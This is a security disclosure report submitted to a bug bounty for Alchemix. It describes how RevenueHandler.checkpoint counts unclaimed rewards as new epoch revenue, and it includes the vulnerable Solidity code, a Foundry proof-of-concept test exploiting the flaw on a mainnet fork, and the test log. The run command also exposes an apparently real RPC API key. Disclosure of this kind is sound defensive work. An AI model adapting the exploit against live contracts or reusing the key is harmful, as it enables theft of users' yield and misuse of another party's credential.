31263 - [SC - Critical] RevenueHandlercheckpoint counts unclaimed rewar...
Submitted on May 15th 2024 at 22:47:08 UTC by @yttriumzz for Boost | Alchemix
Report ID: #31263
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/RevenueHandler.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
Anyone calls RevenueHandler.checkpoint
to update the reward for the current epoch. checkpoint
will calculate the reward based on the reward token balance of the contract. However, these balances include unclaimed rewards. In other words, the unclaimed rewards of some users are included in the rewards of the new epoch.
Vulnerability Details
Please look at the following code. When tokenConfig.poolAdapter
is not set, thisBalance
is directly used as the reward for the new epoch.
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/RevenueHandler.sol#L245-L264
uint256 thisBalance = IERC20(token).balanceOf(address(this));
// If poolAdapter is set, the revenue token is an alchemic-token
if (tokenConfig.poolAdapter != address(0)) {
// Treasury only receives revenue if the token is an alchemic-token
treasuryAmt = (thisBalance * treasuryPct) / BPS;
IERC20(token).safeTransfer(treasury, treasuryAmt);
// Only melt if there is an alchemic-token to melt to
amountReceived = _melt(token);
// Update amount of alchemic-token revenue received for this epoch
epochRevenues[currentEpoch][tokenConfig.debtToken] += amountReceived;
} else {
// If the revenue token doesn't have a poolAdapter, it is not an alchemic-token
amountReceived = thisBalance;
// Update amount of non-alchemic-token revenue received for this epoch
epochRevenues[currentEpoch][token] += amountReceived;
}
Suggested fix
Record the balance as a reward instead of using all the balance directly
Impact Details
Users who claim rewards every epoch will receive more rewards, and other users will receive less rewards
References
None
Proof of concept
The PoC patch
diff --git a/src/test/RevenueHandler.t.sol b/src/test/RevenueHandler.t.sol
index 7908478..fd9cbe6 100644
--- a/src/test/RevenueHandler.t.sol
+++ b/src/test/RevenueHandler.t.sol
@@ -644,4 +644,58 @@ contract RevenueHandlerTest is BaseTest {
revenueHandler.setTreasury(admin);
assertEq(revenueHandler.treasury(), admin, "treasury should be admin");
}
+
+ function testYttriumzzPocTemp() external {
+ // 1. init test env
+ deal(bal, address(this), 10000e18);
+ veALCX.checkpoint();
+
+ address user1 = address(0xacc1);
+ address user2 = address(0xacc2);
+ deal(bpt, user1, 1e18);
+ deal(bpt, user2, 1e18);
+
+ // 2. user1 and user2 mint $veToken with 1e18 BPT
+ hevm.startPrank(user1);
+ IERC20(bpt).approve(address(veALCX), 1e18);
+ uint256 tokenId1 = veALCX.createLock(1e18, 0, true);
+ hevm.stopPrank();
+
+ hevm.startPrank(user2);
+ IERC20(bpt).approve(address(veALCX), 1e18);
+ uint256 tokenId2 = veALCX.createLock(1e18, 0, true);
+ hevm.stopPrank();
+
+ vm.warp(block.timestamp + 2 weeks);
+ veALCX.checkpoint();
+
+ // 3. checkpoint 1, user1 claim the rewards
+ IERC20(bal).transfer(address(revenueHandler), 100e18);
+ revenueHandler.checkpoint();
+ vm.warp(block.timestamp + 2 weeks);
+
+ hevm.startPrank(user1);
+ revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), user1);
+ hevm.stopPrank();
+
+ // 4. checkpoint 2, user1 and user2 claim the rewards, user2 claim revert
+ IERC20(bal).transfer(address(revenueHandler), 100e18);
+ revenueHandler.checkpoint();
+ vm.warp(block.timestamp + 2 weeks);
+
+ hevm.startPrank(user1);
+ revenueHandler.claim(tokenId1, bal, address(0), revenueHandler.claimable(tokenId1, bal), user1);
+ hevm.stopPrank();
+
+ hevm.startPrank(user2);
+ uint256 toClaimable = revenueHandler.claimable(tokenId2, bal);
+ hevm.expectRevert("Not enough revenue to claim");
+ revenueHandler.claim(tokenId2, bal, address(0), toClaimable, user2);
+ console.log("claimable of user2 is %s, but revert", toClaimable);
+ hevm.stopPrank();
+
+ console.log("IERC20(bal).balanceOf(user1): %s", IERC20(bal).balanceOf(user1));
+ console.log("IERC20(bal).balanceOf(user2): %s", IERC20(bal).balanceOf(user2));
+ console.log("IERC20(bal).balanceOf(address(revenueHandler)): %s", IERC20(bal).balanceOf(address(revenueHandler)));
+ }
}
Run the PoC
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
The log
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for src/test/RevenueHandler.t.sol:RevenueHandlerTest
[PASS] testYttriumzzPocTemp() (gas: 3021917)
Logs:
claimable of user2 is 125000000000000000000, but revert
IERC20(bal).balanceOf(user1): 125000000000000000000
IERC20(bal).balanceOf(user2): 0
IERC20(bal).balanceOf(address(revenueHandler)): 75000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.59ms (19.80ms CPU time)
Ran 1 test suite in 1.81s (35.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Last updated
Was this helpful?